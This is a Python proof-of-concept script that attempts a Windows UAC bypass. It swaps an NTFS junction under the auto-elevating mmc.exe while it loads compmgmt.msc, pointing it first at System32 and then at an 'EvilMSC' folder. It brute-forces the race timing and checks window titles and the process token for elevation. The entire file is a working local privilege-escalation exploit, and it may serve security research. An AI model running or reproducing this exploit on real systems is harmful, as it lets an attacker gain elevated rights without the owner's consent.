import ctypes, os, subprocess, time, threading

k32  = ctypes.WinDLL('kernel32', use_last_error=True)
sh32 = ctypes.WinDLL('shell32',  use_last_error=True)
adv  = ctypes.WinDLL('advapi32', use_last_error=True)
u32  = ctypes.WinDLL('user32',   use_last_error=True)

OUTFILE = r'c:\Users\lukas\Documents\PoC new\rolling\poc_brute_silent.txt'
_f = open(OUTFILE, 'w', encoding='utf-8')
def log(s): _f.write(s+'\n'); _f.flush()

class SEI(ctypes.Structure):
    _fields_ = [('cbSize',ctypes.c_ulong),('fMask',ctypes.c_ulong),
                ('hwnd',ctypes.c_void_p),('lpVerb',ctypes.c_wchar_p),
                ('lpFile',ctypes.c_wchar_p),('lpParameters',ctypes.c_wchar_p),
                ('lpDirectory',ctypes.c_wchar_p),('nShow',ctypes.c_int),
                ('hInstApp',ctypes.c_void_p),('lpIDList',ctypes.c_void_p),
                ('lpClass',ctypes.c_wchar_p),('hkeyClass',ctypes.c_void_p),
                ('dwHotKey',ctypes.c_ulong),('hIcon',ctypes.c_void_p),
                ('hProcess',ctypes.c_void_p)]

JUNC = r'C:\ProgramData\JuncMSC'
SYS  = r'C:\Windows\System32'
EVIL = r'C:\ProgramData\EvilMSC'
MARKER = 'BYPASS_CONFIRMED_7F3A9'

def junc(target):
    subprocess.run(['rmdir', JUNC], shell=True, capture_output=True)
    subprocess.run(f'mklink /J "{JUNC}" "{target}"', shell=True, capture_output=True)

def titles():
    t = []
    WNDENUMPROC = ctypes.WINFUNCTYPE(ctypes.c_bool, ctypes.c_void_p, ctypes.c_void_p)
    def cb(h, _):
        b = ctypes.create_unicode_buffer(512)
        u32.GetWindowTextW(h, b, 512)
        if b.value: t.append(b.value)
        return True
    u32.EnumWindows(WNDENUMPROC(cb), 0)
    return t

def try_delay(ms):
    subprocess.run(['taskkill','/F','/IM','mmc.exe'], capture_output=True)
    time.sleep(0.25)
    junc(SYS)

    sei = SEI(); sei.cbSize = ctypes.sizeof(sei); sei.fMask = 0x40
    sei.lpFile = r'C:\Windows\System32\mmc.exe'
    sei.lpParameters = f'"{JUNC}\\compmgmt.msc"'
    sei.nShow = 0  # SW_HIDE

    hp = [None]
    def run(): sh32.ShellExecuteExW(ctypes.byref(sei)); hp[0] = sei.hProcess
    t = threading.Thread(target=run, daemon=True)
    t.start()
    time.sleep(ms / 1000.0)
    junc(EVIL)
    t.join(timeout=8)

    time.sleep(2.5)
    found = any(MARKER in x for x in titles())
    real  = any('Computer Management' in x and MARKER not in x for x in titles())
    elev  = False
    if hp[0]:
        tok = ctypes.c_void_p(0)
        adv.OpenProcessToken(hp[0], 0x8, ctypes.byref(tok))
        if tok.value:
            e = ctypes.c_ulong(0); r = ctypes.c_ulong(0)
            adv.GetTokenInformation(tok, 20, ctypes.byref(e), 4, ctypes.byref(r))
            elev = bool(e.value)
            k32.CloseHandle(tok)
        k32.CloseHandle(hp[0])
    subprocess.run(['taskkill','/F','/IM','mmc.exe'], capture_output=True)
    subprocess.run(['rmdir', JUNC], shell=True, capture_output=True)
    verdict = 'EVIL' if found else ('REAL' if real else ('ELEV_NOWIN' if elev else 'REJECT'))
    log(f'{ms}ms -> {verdict} elev={elev}')
    return found

log(f'evil msc: {os.path.getsize(EVIL+chr(92)+"compmgmt.msc")} bytes  marker={MARKER}')
for ms in range(50, 350, 5):
    if try_delay(ms):
        log(f'WIN @ {ms}ms')
        break
log('done')
_f.close()